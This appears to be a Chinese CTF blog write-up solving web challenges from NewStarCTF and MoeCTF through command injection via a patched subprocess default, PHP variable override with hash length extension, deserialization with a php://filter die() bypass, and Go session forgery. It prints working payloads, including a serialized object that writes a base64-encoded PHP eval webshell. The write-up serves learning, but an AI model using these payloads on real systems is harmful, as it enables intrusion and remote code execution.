分享一下最近再BUU打的NewStarCTF以及MoeCTF
这里主要说一下难题的解题过程
ez_rce
题目提示攻击子进程调用,查看一下app里代码
所以考察进程模块实现命令执行
from flask import *
import subprocess
app = Flask(__name__)
def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp
def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)
def hint(giveme,num,bol):
c = gett(subprocess,giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess,giveme,tmp)
def cmd(arg):
subprocess.call(arg)
@app.route('/',methods=['GET','POST'])
def exec():
try:
if request.args.get('exec')=='ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp,num,bol)
return 'ok'
except:
return 'error'
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
打开题目环境发现:
只有一个error,首先进行代码审计
存在exec0方法,如果接收参数exec值为ok,那么将接收GET参数shell,然后执行作为参数传入cmd0方法里; 否则从请求的JSON 数据中获取名为 exp 的字段值,并将其转换为列表类型,获取GET参数num并转为int型,接收GET参数bol并转为布尔型,执行hint方法,包括gett函数去遍历获取subprocess的属性,sett函数是遍历并将取到的属性设置为修改后的值,然后返回ok,
所以根据审计后的代码找到命令执行的subprecess.call函数
网上随便找到一个
发现call函数会返回一个Popen方法
发现Popen方法里有一个默认构造参数默认shel为False,
函数默认保存在defaults属性当中,如果让shell为True的话就可以进行命令执行
这里可以用postman进行接口测试,随便给exec赋值进行else判断,exp根据call函数进行赋值需要经过gett进行遍历格式为数组
根据
成功后就可以进行命令执行
可以构造exp
?exec=ok&shell=mkdir%20./static;cat%20/flag>./static/1.txt
num要对照第八个令其返回true(同为字符串返回为True)
访问可得到flag
MD5的事就拜托了
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
}
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}
此题考察变量覆盖以及哈希拓展攻击
先说第一个if,可以通过一些构造通过变量覆盖返回flag的md5值
$scheme=host
$$scheme=$host=user
$$$scheme=$$host=$user=SHCTF
故而可以构造:
SHCTF=host://SHCTF:1@user
绕过intval函数可以通过无限小数1.222222222222绕过的出flag的长度
之后用到hash_ext_attack脚本
直接构造:
之后拿到flag
sseerriiaalliizzee
打开题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}
class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;
}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";
}
}
$code=$_POST['code'];
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}
?>
no way, fuck off
难度主要在于如何绕过die方法
构造pop链
Start.__construct() --> Flag.dosomething() --> Start__toString() --> CTF.dosomething()
这里也是通过百度发现,可以通过strip_tags绕过,因为这个代码实际是xml标签可以利用strip_tags函数去除,并且用到php://filter协议,通过strip_tages去除exit
直接构造exp:
<?php
class Start{
public $barking;
}
class CTF{
public $part1;
public $part2;
}
$a=new Start();
$c=new CTF();
$a->barking=$c;
$c->part1='php://filter/string.strip_tags|convert.base64-decode/resource=shell.php';
$c->part2='PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+';
echo serialize($a);
?>
直接flag出
gogogo
好家伙跟我之前打2023CISCN有道题一样 go_session,也是通过伪造admin的session
好那就再写一次,题源码已经给出
亚麻呆住,跟那道国赛题差不多一样
也是启动环境设置代理
go env -w GOPROXY=https://goproxy.io,direct
更改index函数代码
直接就需要run一下
成功监听到了
我这里也是返回200值
取出这里头cookie即可
然后再去读那个
func Readflag(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == "admin" {
c.String(200, "Congratulation! You are admin,But how to get flag?\n")
path := c.Query("filename")
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
if reg.MatchString(path) {
http.Error(c.Writer, "nonono", http.StatusInternalServerError)
return
}
var data []byte
if path != "" {
data = readfile.ReadFile(path)
} else {
data = []byte("请传入参数")
}
c.JSON(200, gin.H{
"success": "read: " + string(data),
})
} else {
c.String(200, "Hello, User. How to become admin?")
}
}
不难发现有个a可以进行读取还有?
直接通过??a?(通配符)读取flag
Moectf
很多东西要去写的时候发现环境没了,我之前写的wp因为服务器原因也没了(所买的云服务器因为地区数据清空了可怜我写了两个月的blog)